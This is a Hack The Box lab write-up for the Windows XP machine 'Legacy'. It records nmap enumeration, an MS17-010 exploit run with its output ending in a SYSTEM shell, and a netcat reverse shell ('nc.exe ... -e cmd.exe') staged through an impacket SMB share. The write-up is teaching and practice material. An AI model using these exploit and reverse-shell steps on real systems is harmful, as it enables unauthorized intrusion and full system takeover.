HTB - Legacy

Legacy

Getting Root:

1. The box has smb and rdp ports opened

2. Enumerating the smb service shows that the box is vulnerable to MS08-067 and MS17-010

3. I found some exploits on searchsploit for MS08-067 but they were not very reliable so I decided to go for MS17-010

4. Exploiting MS17-010 provides us a shell with system privileges.

Tools Used:

nmap

Nmap

nmap -sC -sV -p- 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 12:54 EDT
Nmap scan report for 10.10.10.4
Host is up (0.038s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d01h00m04s, deviation: 1h24m51s, median: 5d00h00m04s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:5c:22 (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-03-15T20:56:49+02:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.86 seconds

Checking for SMB Vulnerabilities

nmap --script vuln -p 139,445,3389 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 12:59 EDT
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.038s latency).

PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp  open   microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp closed ms-wbt-server

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 45.76 seconds

Getting a Shell

Found a python script on searchsploit for MS08-067 but it didn't do anything.

searchsploit ms08-067
Exploit Title  

Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)

I moved on to MS17-010 and I was able to find the following code on GitHub:

GitHub - 3ndG4me/AutoBlue-MS17-010: This is just an semi-automated fully working, no-bs, non-metasploit version of the public exploit code for MS17-010GitHub

Got a shell as SYSTEM

# python zzz_exploit.py 10.10.10.4
[*] Target OS: Windows 5.1
[+] Found pipe 'browser'
[+] Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x8206dda8
SESSION: 0xe21919c8
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
[*] make this SMB session to be SYSTEM
[+] current TOKEN addr: 0xe1ab49e8
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe1ab4a88
[*] overwriting token UserAndGroups
[*] have fun with the system smb session!
[!] Dropping a semi-interactive shell (remember to escape special chars with ^) 
[!] Executing interactive programs will hang shell!
C:\WINDOWS\system32>

Upgrading the shell

The shell is not very stable, so I decided to get a more liable shell using netcat.

# Starts and smbserver using impacket
smbserver.py share /root/HackTheBox/legacy/www/

# copy nc.exe to the share folder
cp nc.exe /root/hackTheBox/legacy/www

# On the target box
net use z: \\10.10.14.3\share
copy z:\\nc.exe C:\Windows\system32

# On my kali box, I started a listenner
nc -lnvp 9001

#On the target box
C:\WINDOWS\system32>.\nc.exe 10.10.14.3 9001 -e cmd.exe

System Info

C:\Documents and Settings>systeminfo
systeminfo

Host Name:                 LEGACY
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Uniprocessor Free
Registered Owner:          user
Registered Organization:   HTB
Product ID:                55274-643-7213323-23904
Original Install Date:     16/3/2017, 7:32:23 ��
System Up Time:            0 Days, 0 Hours, 17 Minutes, 7 Seconds
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1998 Mhz
BIOS Version:              INTEL  - 6040000
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     511 MB
Available Physical Memory: 340 MB
Virtual Memory: Max Size:  2.048 MB
Virtual Memory: Available: 2.003 MB
Virtual Memory: In Use:    45 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
NetWork Card(s):           1 NIC(s) Installed.
                           [01]: VMware Accelerated AMD PCNet Adapter
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.4